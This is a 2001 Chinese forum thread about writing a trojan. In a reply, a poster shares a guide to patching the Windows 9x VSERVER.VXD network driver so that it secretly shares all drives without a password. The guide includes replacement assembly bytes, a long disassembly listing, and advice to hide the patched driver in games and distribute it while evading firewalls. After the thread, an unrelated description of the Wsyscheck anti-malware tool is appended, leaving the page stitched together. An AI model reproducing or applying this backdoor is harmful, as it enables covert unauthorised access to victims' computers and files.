怎样用驱动程序写木马?

sundrink 2001-07-21 05:31:08
大家好!
本人不是黑客,只是对电脑感兴趣而已。
很多人都知道木马是通过开放端口来运行的,
可是也有通过改写系统的驱动程序来达到远程控制的目的。
虽然现在这种木马很少见,但以后肯定会很流行。
没有端口的木马是不是很可怕?
怎样去检测它呢?
各位大虾,谁知道怎样通过改写驱动程序来做个可爱的木马?
有人想过这个问题么?
...全文
203 3 打赏 收藏 转发到动态 举报
写回复
用AI写文章
3 条回复
切换为时间正序
请发表友善的回复…
发表回复
sundrink 2001-07-22
  • 打赏
  • 举报
回复
哎,
看来还得自己动手找资料了,好在今天运气不错,在网上转了几圈,居然找到了这篇宝贵的资料,
特公之于众,望对大家有点帮助。如下:

制作木马的简易方法




网上木马程序很流行,其实说来也很简单,大致都是修改注册表或者INI文件加载一个文件提供服务,这就手工都很容易检测出木马来。一,看增加的不明服务。二,因为木马是作为服务一般要打开一个网络通信端口,所以检查增加的服务端口也很容易检查出木马程序来。其实完全可以稍微改动操作系统内核而作出一个很好的木马来,这样不用改动注册表也可以让用户很不容易发觉。

下面就是简单改动一个驱动程序做一个木马的方法。大家可以分析别的驱动程序相应的作出自己的木马来。这儿是利用WINDOWS的共享和远程管理。WINDOWS的共享如果共享名是ADMIN$就可以远程管理,就是登陆ADMIN$进去了后所有的盘都完全共享为盘符加$.下面一段就是VSERVER。VXD处理共享的一段程序,SUB_0027校验密码,密码对了后后面检测共享名是ADMIN $否,是就看C$,D$...共享没有(DATA_0431==0?),没共享就调用SUB_0230共享,SUB_0230 一个参数就是密码指针,如果密码指针为0就没密码。这儿为了好改动就用的这个参数。显然我们就可以必要的时候调用SUB_0230
就开了个后门。LOC_0415是检测网络通信的共享名串大于0DH否(包括串后的0),是就转LOC_0419出错返回,显然我们可以利用这儿去调用SUB_0230. 看LOC_0419 有7个字节可以利用,可以安排 CALL SUB_0230
NEW_LOC_0418 POP eax
jmp 03469
刚好7个字节。3436: JE LOC_0418 是没找到要共享的目录跳转到LOC_0418 显然要改动,改动成JE NEW_LOC_0418 就可以。现在是LOC_0415一段要跳转到LOC_0419前要PUSH 0以调用SUB_0230。
下面是LOC_0415的改法:

LOC_0415:

03415 XOR EAX,EAX ;2 字节,同样SUB AL,AL 得到AL=0;还得到EAX=0。
03417 PUSH EAX ;1 字节 调用SUB_0230 用的DWORD参数 0;
03418 XOR ECX,ECX ;2 字节 ECX=0;
0341A DEC ECX ;1 字节 得到ECX=0FFFFFFFFH这儿与MOV ECX,0FFFFH一样但字节数少
0341B mov edi,ebx ;2 bytes
0341D repne scasb ;2 bytes
0341F SUB EDI,EBX ;2 bytes get the share name long
03421 CMP EDI, 0Dh ;3 bytes大于等于0DH跳转。这儿条件可以改动为等于多少跳转等。
03424 ja short loc_0419 ; 2 byte
03426 POP EAX ;1 byte 堆栈平衡
03427 PUSH EDI ;1 byte
03428 POP EAX ;1 byte EAX=EDI SHARE NAME LONG , 后面要用

刚好字节够用,注意DATA_0182 那儿有重定位那种字节不能简单改动。你可以把你的好的程序好的游戏加上一小段代码这么改动他的VSERVER。VXD文件,最好是硬盘的WINDOWS安装目录打包文件里面的VSERVER。VXD也改动,还有访问共享目录\\IP的139端口也最好加一个别的端口以逃避有些路由器防火墙的设置,再把你的程序散发。。。。。

中了你的木马的你访问他的共享目录后面加一大串字母(共享名串长大于等于0DH)会提示出错,但你就可以再访问\\IP\C$, \\IP\D$....了,这可是完全共享的了.如果你先没有那个一大串字母的访问他也没有设置远程管理的话 \\IP\C$,\\IP\D$... 都不能访问的,他自己用网络监视器也看不到这种共享的,所以很不容易觉察的。注意你进入共享目录了网络监视器还是能看到。




;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;
; Called from: 031FD, 32CC
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

033F4 sub_0026 proc near
033F4 56 push esi
033F5 66| 81 3B 5C5C cmp word ptr [ebx],5C5Ch
033FA 74 07 je short loc_0412 ; Jump if equal
033FC 66| 81 3B 2F2F cmp word ptr [ebx],2F2Fh
03401 75 12 jne short loc_0415 ; Jump if not equal
03403 loc_0412: ; xref 033FA
03403 8D 73 02 lea esi,dword ptr [ebx+2] ; Load effective addr
03406 loc_0413: ; xref 0340F
03406 E8 00006961 call sub_0207 ; (09D6C)
0340B 74 05 jz short loc_0414 ; Jump if zero
0340D 3C 5C cmp al,5Ch ; '\'
0340F 75 F5 jne loc_0413 ; Jump if not equal
03411 46 inc esi
03412 loc_0414: ; xref 0340B
03412 8D 5E FF lea ebx,dword ptr [esi-1] ; Load effective addr
03415 loc_0415: ; xref 03401
03415 2A C0 sub al,al
03417 B9 0000FFFF mov ecx,0FFFFh
0341C 8B FB mov edi,ebx
0341E F2/ AE repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
03420 8B C7 mov eax,edi
03422 2B C3 sub eax,ebx
03424 83 F8 0D cmp eax,0Dh
03427 77 26 ja short loc_0419 ; Jump if above
03429 55 push ebp
0342A 8B 2D 00011CA4 mov ebp,dword ptr data_0182 ;THE SHARE POINTER ; (11CA4=0)
03430 loc_0416: ; xref 0344C
03430 ?1 FD 00011CA4 cmp ebp,11CA4h
03436 74 16 je short loc_0418 ; Jump if equal
03438 80 7D 08 02 cmp byte ptr [ebp+ClientEBP],2
0343C 75 0B jne short loc_0417 ; Jump if not equal
0343E 8D 75 11 lea esi,dword ptr [ebp+11h] ; Load effective addr
03441 8B FB mov edi,ebx
03443 8B C8 mov ecx,eax
03445 F3/ A6 repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
03447 74 3A jz short loc_0424 ; Jump if zero
03449 loc_0417: ; xref 0343C
03449 8B 6D 00 mov ebp,dword ptr [ebp+ClientEDI]
0344C EB E2 jmp short loc_0416 ; (03430)
0344E loc_0418: ; xref 03436
0344E 5D pop ebp
0344F loc_0419: ; xref 03427
0344F B8 00060002 mov eax,60002h
03454 5E pop esi
03455 F9 stc ; Set carry flag
03456 C3 retn
03457 loc_0420: ; xref 0349F
03457 8B 43 34 mov eax,dword ptr [ebx+34h]
0345A 8B 1B mov ebx,[ebx]
0345C 81 FB 00011CA4 cmp ebx,11CA4h
03462 74 0A je short loc_0421 ; Jump if equal
03464 3B 43 34 cmp eax,dword ptr [ebx+34h]
03467 74 2F je short loc_0425 ; Jump if equal
03469 B8 00020002 mov eax,20002h
0346E loc_0421: ; xref 03462, 3481, 354D, 35E8
0346E ?E pop esi
0346F F9 stc ; Set carry flag
03470 C3 retn
03471 33 DB db 33h,0DBh
03473 loc_0422: ; xref 0349D
03473 5E pop esi
03474 C3 retn
03475 loc_0423: ; xref 034C1
03475 8B D3 mov edx,ebx
03477 鶥B 0000000A mov ebx,0Ah ; (0000A=0B8h)
0347C B8 00590002 mov eax,590002h
03481 EB EB jmp short loc_0421 ; (0346E)
03483 loc_0424: ; xref 03447
03483 8B DD mov ebx,ebp
03485 59 pop ecx ;ebp ,the password long
03486 F6 05 00012446 01 test byte ptr data_0317,1 ; (12446=0)
0348D 75 12 jnz short loc_0426 ; Jump if not zero
0348F 8B 34 24 mov esi,[esp]
03492 F6 46 1F 01 test byte ptr [esi+1Fh],1
03496 75 09 jnz short loc_0426 ; Jump if not zero
03498 loc_0425: ; xref 03467
03498 E8 00000182 call sub_0027 ; (0361F) check the password
0349D 72 D4 jc loc_0422 ; Jump if carry Set
0349F 75 B6 jnz loc_0420 ; Jump if not zero
034A1 loc_0426: ; xref 0348D, 3496
034A1 F6 43 10 40 test byte ptr [ebx+10h],40h ; '@'
034A5 0F 85 00000089 jnz loc_0433 ; Jump if not zero
034AB A1 00011CC4 mov eax,data_0190 ; (11CC4=0FFFFF000h)
034B0 80 38 01 cmp byte ptr [eax],1
034B3 0F 83 00000134 jae loc_0439 ; Jump if above or =
034B9 loc_0427: ; xref 0353B, 3564, 356F, 35F6
; 3611
034B9 66| 8B 53 0E mov dx,word ptr [ebx+0Eh]
034BD 66| 39 53 0C cmp word ptr [ebx+0Ch],dx
034C1 76 B2 jbe loc_0423 ; Jump if below or =
034C3 loc_0428: ; xref 03528
034C3 8B 0D 00011B34 mov ecx,dword ptr data_0170 ; (11B34=0)
034C9 85 C9 test ecx,ecx
034CB 74 56 jz short loc_0431 ; Jump if zero
034CD 8B 01 mov eax,[ecx]
034CF A3 00011B34 mov data_0170,eax ; (11B34=0)
034D4 66| FF 43 0E inc word ptr [ebx+0Eh]
034D8 89 59 0C mov dword ptr [ecx+0Ch],ebx
034DB C6 41 14 03 mov byte ptr [ecx+14h],3
034DF 8A 41 17 mov al,byte ptr [ecx+17h]
034E2 04 08 add al,8
034E4 0C C0 or al,0C0h
034E6 88 41 17 mov byte ptr [ecx+17h],al
034E9 C6 41 15 00 mov byte ptr [ecx+15h],0
034ED 8B 34 24 mov esi,[esp]
034F0 F6 46 1F 08 test byte ptr [esi+1Fh],8
034F4 75 08 jnz short loc_0429 ; Jump if not zero
034F6 A1 00011CC8 mov eax,data_0191 ; (11CC8=0FFFFF000h)
034FB FF 40 10 inc dword ptr [eax+10h]
034FE loc_0429: ; xref 034F4
034FE 5E pop esi
034FF 81 7B 11 494D4441 cmp dword ptr [ebx+11h],494D4441h ;ADMIN$ ?
03506 75 0E jne short loc_0430 ; Jump if not equal
03508 66| 81 7B 15 244E cmp word ptr [ebx+15h],244Eh
0350E 75 06 jne short loc_0430 ; Jump if not equal
03510 80 7B 17 00 cmp byte ptr [ebx+17h],0
03514 74 61 je short loc_0435 ; Jump if equal
03516 loc_0430: ; xref 03506, 350E, 3584
03516 B8 00011CD4 mov eax,11CD4h
0351B E8 000056BC call sub_0130 ; (08BDC)
03520 85 DB test ebx,ebx
03522 C3 retn
03523 loc_0431: ; xref 034CB
03523 E8 00000190 call sub_0028 ; (036B8)
03528 73 99 jnc loc_0428 ; Jump if carry=0
0352A EB 00 jmp short loc_0432 ; (0352C)
0352C loc_0432: ; xref 0352A
0352C 5F pop edi
0352D B8 00590002 mov eax,590002h
03532 F9 stc ; Set carry flag
03533 C3 retn
03534 loc_0433: ; xref 034A5
03534 8B 34 24 mov esi,[esp]
03537 F6 46 1F 01 test byte ptr [esi+1Fh],1
0353B 0F 85 FFFFFF78 jnz loc_0427 ; Jump if not zero
03541 loc_0434: ; xref 03575, 358F
03541 ?B D3 mov edx,ebx
03543 BB 0000000B mov ebx,0Bh
03548 B8 00050001 mov eax,50001h
0354D E9 FFFFFF1C jmp loc_0421 ; (0346E)
;* No entry point to code
03552 8B 3C 24 mov edi,[esp]
03555 53 push ebx
03556 8B 35 000128B8 mov esi,dword ptr data_0379 ; (128B8=0FFFFF000h)
0355C E8 FFFFE407 call sub_0009 ; (01968)
03561 5B pop ebx
03562 0B ED or ebp,ebp ; Zero ?
03564 0F 84 FFFFFF4F jz loc_0427 ; Jump if zero
0356A 3E: 83 7D 10 00 cmp dword ptr ds:[ebp+ClientEBX],0
0356F 0F 85 FFFFFF44 jne loc_0427 ; Jump if not equal
03575 EB CA jmp short loc_0434 ; (03541)
03577 loc_0435: ; xref 03514
03577 F6 05 00012446 01 test byte ptr data_0317,1 ; (12446=0)
0357E 74 11 jz short loc_0436 ; Jump if zero
03580 F6 46 1F 01 test byte ptr [esi+1Fh],1
03584 75 90 jnz loc_0430 ; NOT ADMIN$ Jump if not zero
03586 66| FF 4B 0E dec word ptr [ebx+0Eh]
0358A C6 41 14 00 mov byte ptr [ecx+14h],0
0358E 56 push esi
0358F EB B0 jmp short loc_0434 ; (03541)
03591 loc_0436: ; xref 0357E
03591 80 4E 1F 01 or byte ptr [esi+1Fh],1
03595 C6 41 15 01 mov byte ptr [ecx+15h],1
03599 8B FE mov edi,esi

0359B 8B 35 000128B8 mov esi,dword ptr data_0379 ; (128B8=0FFFFF000h)
035A1 83 3D 000134E0 00 cmp dword ptr data_0431,0 ; C$,D$ HAVE BEEN SHARED(134E0=0)
035A8 75 14 jne short loc_0437 ; Jump if not equal
035AA 52 push edx
035AB 51 push ecx
035AC 8D 4B 1E lea ecx,dword ptr [ebx+1Eh];THE ADMIN$ PASSWORD
035AF ?1 push ecx ; PARAMETER_1 if ecx=0 no password
035B0 E8 0000856F call sub_0230 ;MAKE C$,D$SHARE (0BB24)
035B5 59 pop ecx
035B6 59 pop ecx
035B7 5A pop edx
035B8 FF 05 000134E0 inc dword ptr data_0431 ; (134E0=0)
035BE loc_0437: ; xref 035A8
035BE 53 push ebx
035BF E8 FFFFE3A4 call sub_0009 ; (01968)
035C4 72 13 jc short loc_0438 ; Jump if carry Set
035C6 8B 3D 00011CCC mov edi,dword ptr data_0192 ; (11CCC=0FFFFF000h)
035CC 8B BF 000000E2 mov edi,dword ptr ds:[0E2h][edi] ; (000E2=358B0000h)
035D2 89 7B 04 mov dword ptr [ebx+4],edi
035D5 5B pop ebx
035D6 85 DB test ebx,ebx
035D8 C3 retn
035D9 loc_0438: ; xref 035C4
035D9 5A pop edx
035DA C6 41 14 00 mov byte ptr [ecx+14h],0
035DE BB 0000000C mov ebx,0Ch
035E3 B8 00010002 mov eax,10002h
035E8 E9 FFFFFE81 jmp loc_0421 ; (0346E)
035ED loc_0439: ; xref 034B3
035ED 75 28 jnz short loc_0440 ; Jump if not zero
035EF 8B 34 24 mov esi,[esp]
035F2 F6 46 1F 01 test byte ptr [esi+1Fh],1
035F6 0F 85 FFFFFEBD jnz loc_0427 ; Jump if not zero
035FC 81 7B 11 494D4441 cmp dword ptr [ebx+11h],494D4441h
03603 75 12 jne short loc_0440 ; Jump if not equal
03605 66| 81 7B 15 244E cmp word ptr [ebx+15h],244Eh
0360B 75 0A jne short loc_0440 ; Jump if not equal
0360D 80 7B 17 00 cmp byte ptr [ebx+17h],0
03611 0F 84 FFFFFEA2 je loc_0427 ; Jump if equal
03617 loc_0440: ; xref 035ED, 3603, 360B
03617 B8 00510002 mov eax,510002h
0361C 5F pop edi
0361D F9 stc ; Set carry flag
0361E C3 retn
sub_0026 endp
Leemaasn 2001-07-21
  • 打赏
  • 举报
回复
没想过,很有意思,,,我关注。。。
asd_butterfly 2001-07-21
  • 打赏
  • 举报
回复
有意思,关注
Wsyscheck是一款手动清理病毒木马的工具,其目的是简化病毒木马的识别与清理工作。 一般来说,对病毒体的判断主要可以采用查看路径,查看文件名,查看文件创建日期,查看文件厂商,微软文件校验,查看启动项等方法,Wsyschck在这些方面均尽量简化操作,提供相关的数据供您分析。 Wsyscheck基本功能简单介绍: 1:软件设置中的模块、服务简洁显示 简洁显示会过滤所微软文件,但在使用了“校验微软文件签名”功能后,通不过的微软文件也会显示出来。 SSDt右键“全部显示”是默认动作,当取消这个选项后,则仅显示SSDT表中已更改的项目。 2:关于Wsyscheck的颜色显示 进程页: 红色表示非微软进程,紫红色表示虽然进程是微软进程,但其模块中有非微软的文件。 服务页: 红色表示该服务不是微软服务,且该服务非.sys驱动。(最常见的是.exe与.dll的服务,木马大多使用这种方式)。 使用“检查键值”后,蓝色显示的是有键值保护的随系统启动的驱动程序。它们有可能是杀软的自我保护,也有可能是木马的键值保护。 在取消了“模块、服务简洁显示”后,查看第三方服务可以点击标题条”文件厂商”排序,结合使用“启动类型”、“修改日期”排序更容易观察到新增的木马服务。 进程页中查看模块与服务页中查看服务描述可以使用键盘的上下键控制。 在使用“软件设置”-“校验微软文件签名”后,紫红色显示未通过微软签名的文件。同时,在各显示栏的"微软文件校验"会显示Pass与no pass。(可以据此参考是否是假冒微软文件,注意的是如果紫红色显示过多,可能是你的系统是网上常见的Ghost精简版,这些版本可能精简掉了微软签名数据库所以结果并不可信) SSDT管理页: 默认显示全部的SSDT表,红色表示内核被HOOK的函数。查看第三方模块,可以点击两次标签“映像路径”排序,则第三方HOOK的模块会排在一起列在最前面。也可以取消“全部显示”,则仅显示入口改变了的函数。 SSDT页的“代码异常”栏如显示“YES”,表明该函数被Inline Hook。如果一个函数同时存在代码HOOK与地址HOOK,则对应的模块路径显示的是Inline Hook的路径,而使用“恢复当前函数代码”功能只恢复Inline Hook,路径将显示为地址HOOK的模块路径,再使用“恢复当前函数地址”功能就恢复到默认的函数了。 使用“恢复所有函数”功能则同时恢复上述两种HOOK。 发现木马修改了SSDT表时请先恢复SSDT,再作注册表删除等操作。 活动文件页: 红色显示的常规启动项的内容。 3:关于Wsyscheck启动后状态栏的提示“警告!程序驱动未加载成功,一些功能无法完成。” 多数情况下是安全软件阻止了Wsyscheck加载所需的驱动,这种情况下Wsyscheck的功能有一定减弱,但它仍能用不需要驱动的方法来完成对系统的修复。 驱动加载成功的情况下,对于木马文件可以直接使用Wsyscheck中各页中的删除文件功能,本功能带有“直接删除”运行中的文件的功能。 4:关于卸载模块 对HOOK了系统关键进程的模块卸载可能导致系统重启,这与该模块的法有关系,所以卸载不了的模块不要强求卸载,可以先删除该模块的启动项或文件(驱动加载情况下使用删除后重启文件即消失)。 5:关于文件删除 驱动加载的情况下,Wsyscheck的删除功能已经够用了,大多数文件都可以立即删除(进程模块可以直接使用右键下带删除的各项功能),加载的DLL文件删除后虽然文件仍然可见,但事实上已删除,重启后该文件消失。 文件管理页的“删除”操作是删除文件到回收站,支持畸形目录下的文件删除。应注意的是如果文件本身在回收站内,请使用直接删除功能。或者使用剪切功能将它复制到另一个地方。否则你可能看到回收站内的文件删除了这个又添加了那个。 Wsyscheck的或“dos删除功能”需要单独下载Wsyscheck的附加模块文件WDosDel.dat,将此文件与Wsyscheck放在一起会显示出相关页面,添加待删除文件并重启,启动菜单中将出现“删除顽固文件”字样,选择后转入Dos删除文件。在某些机器上,若执行“dos删除”重启后系统报告文件损坏要修复(此时修复会造成文件系统的真正损坏),此时请不要修复而是立即关闭主机电源,重新开机。(这种情况是Dos删除所带的NTFS支持软件本身的BUG造成的,并不需要真正的修复,只需关闭电源重新开机即可。) “重启删除”与“Dos删除”可以同时使用。其列表都可以手动编辑,一行一个文件路径即可。关闭程序时如果上述两者之一存在删除列表,会问询是否执行。 注意,为避免

7,763

社区成员

发帖
与我相关
我的任务
社区描述
VB 基础类
社区管理员
  • VB基础类社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧